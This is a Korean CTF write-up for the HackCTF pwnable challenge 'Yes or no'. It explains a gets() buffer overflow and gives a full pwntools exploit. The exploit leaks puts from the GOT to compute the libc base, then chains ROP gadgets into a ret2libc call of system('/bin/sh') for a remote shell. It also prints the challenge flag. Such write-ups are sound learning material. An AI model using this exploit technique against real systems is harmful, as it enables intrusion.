-
[HackCTF : Pwnable] Yes or no (150p)Wargame/HackCTF 2021. 8. 30. 15:26
[HackCTF : Pwnable] Yes or no (150p)
실행해보면 숫자 입력을 받고 종료한다.
do_system+1094 관련해서 찾아보니 system함수를 실행할 때 피연산자[rsp+0x40]가 16byte로 정렬되어야 한단다.
입력받은 숫자가 35줄 조건에 맞으면 gets함수가 실행된다.
비교하는 부분에 break를 걸고 값을 확인해보자.
0x960000
여기서 RTL을 이용하면 되는데 ASLR 때문에 메모리 leak을 통해 libc_base를 구해줘야 한다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import *p = remote("ctf.j0n9hyun.xyz",3009)e = ELF("./yes_or_no")libc = ELF("./libc-2.27.so")puts_plt = p64(e.plt['puts'])puts_got = p64(e.got['puts'])main = p64(e.symbols['main'])prdi = 0x00400883ret = 0x0040056eputs_off = libc.symbols["puts"]system_off = libc.symbols["system"]binsh_off = libc.search("/bin/sh").next()#payload1(Memory Leak)p.recvuntil("Show me your number~!\n")p.sendline("9830400")p.recvuntil("That's cool. Follow me\n")payload = "A"*26payload += p64(prdi)payload += puts_gotpayload += puts_pltpayload += mainp.sendline(payload)puts_addr = u64(str(p.recv(6))+"\x00\x00")log.success("puts_addr = "+ hex(puts_addr))libc_base = puts_addr - puts_offsystem_addr = libc_base + system_offbinsh_addr = libc_base + binsh_off#payload2(RTL)p.recvuntil("Show me your number~!\n")p.sendline("9830400")p.recvuntil("That's cool. Follow me\n")payload = "A"*26payload += p64(prdi)payload += p64(binsh_addr)payload += p64(ret)payload += p64(system_addr)p.sendline(payload)p.interactive()cs puts를 통해 libc_base를 구하고 main으로 돌아와 RTL을 이용해 쉘을 실행시켰다.
RTL 할 때 ret를 써줘서 16byte를 맞춰줌
HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] g++ pwn (200p) (2) 2021.11.15 [HackCTF : Pwnable] ROP (300p) (0) 2021.08.31 [HackCTF : Pwnable] Random Key (200p) (0) 2021.07.12 [HackCTF : Pwnable] Poet (200p) (0) 2021.07.09 [HackCTF : Pwnable] RTL_Core (250p) (2) 2021.07.08